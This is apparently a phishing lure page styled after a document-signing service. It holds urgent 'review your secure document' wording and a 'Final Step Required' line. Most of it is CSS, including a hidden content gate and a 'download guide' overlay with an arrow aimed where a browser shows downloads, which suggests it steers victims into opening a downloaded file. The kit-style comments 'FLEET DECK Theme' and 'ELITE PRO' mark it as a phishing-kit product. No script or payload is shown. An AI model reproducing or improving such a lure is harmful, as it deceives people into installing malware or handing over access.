Action Required: Review Your Document
You have received a secure document that requires your immediate attention. Access is restricted to authorized workstations only.
/* FLEET DECK Theme */ body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #1a1f24; margin: 0; padding: 0; display: flex; align-items: center; justify-content: center; min-height: 100vh; color: #e0e0e0; } #gate-view { text-align: center; max-width: 400px; padding: 20px; } .spinner { width: 40px; height: 40px; border: 4px solid #333; border-top: 4px solid #2c3e50; border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 20px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } #main-content { display: none; opacity: 0; transition: opacity 0.5s ease-in; width: 100%; max-width: 600px; } .ds-body { background-color: #1a1f24; } .ds-container { background: #262c33; border: 1px solid #404a54; box-shadow: 0 4px 10px rgba(0,0,0,0.3); padding: 40px; } .ds-logo { width: 200px; margin-bottom: 30px; } h1 { font-size: 22px; font-weight: 700; color: #ffffff; margin-bottom: 20px; } p { font-size: 16px; line-height: 1.5; color: #b0b0b0; margin-bottom: 20px; } .ds-document-card { border: 1px solid #404a54; border-radius: 4px; padding: 20px; display: flex; align-items: center; background-color: #2c353d; margin-bottom: 30px; } .ds-doc-icon { width: 40px; height: 50px; background-color: #2c3e50; color: #fff; display: flex; align-items: center; justify-content: center; font-weight: bold; border-radius: 2px; margin-right: 20px; font-size: 12px; } .ds-doc-info { flex-grow: 1; } .ds-doc-name { font-weight: 600; color: #ffffff; font-size: 16px; } .ds-doc-meta { color: #888; font-size: 14px; margin-top: 4px; } .ds-alert { background-color: #332d20; border: 1px solid #7c6a40; padding: 15px; border-radius: 4px; font-size: 14px; line-height: 1.4; margin-bottom: 25px; color: #e0e0e0; } .ds-button { background-color: #3498db; color: #ffffff; border: 1px solid #3498db; padding: 12px 24px; font-size: 16px; font-weight: 700; cursor: pointer; text-align: center; display: inline-block; text-decoration: none; border-radius: 2px; transition: background-color 0.2s; } .ds-button:hover { background-color: #2980b9; } .ds-footer { margin-top: 30px; font-size: 12px; color: #666; line-height: 1.4; } .ds-footer a { color: #3498db; text-decoration: none; } #loading-view { display: none; text-align: center; margin-top: 20px; } .ds-spinner-small { width: 24px; height: 24px; border: 3px solid #333; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 0.8s linear infinite; margin: 0 auto 10px; } /* ELITE PRO: Advanced Guidance UI */ #guide-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 9998; backdrop-filter: blur(4px); } #download-guide { display: none; position: fixed; top: 30px; right: 30px; background: #262c33; color: #e0e0e0; padding: 30px; border-radius: 12px; box-shadow: 0 30px 60px rgba(0,0,0,0.7); z-index: 9999; max-width: 340px; border-top: 6px solid #3498db; animation: slideDown 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275); } #download-guide:after { content: ""; position: absolute; top: -20px; right: 25px; border-width: 0 20px 20px; border-style: solid; border-color: #3498db transparent; } @keyframes slideDown { from { transform: translateY(-50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .guide-title { font-weight: 800; font-size: 18px; color: #3498db; margin-bottom: 12px; display: flex; align-items: center; } .guide-step { margin-bottom: 15px; font-size: 14px; line-height: 1.5; } .guide-step b { color: #ffffff; } .guide-icon { width: 22px; margin-right: 12px; }
Final Step Required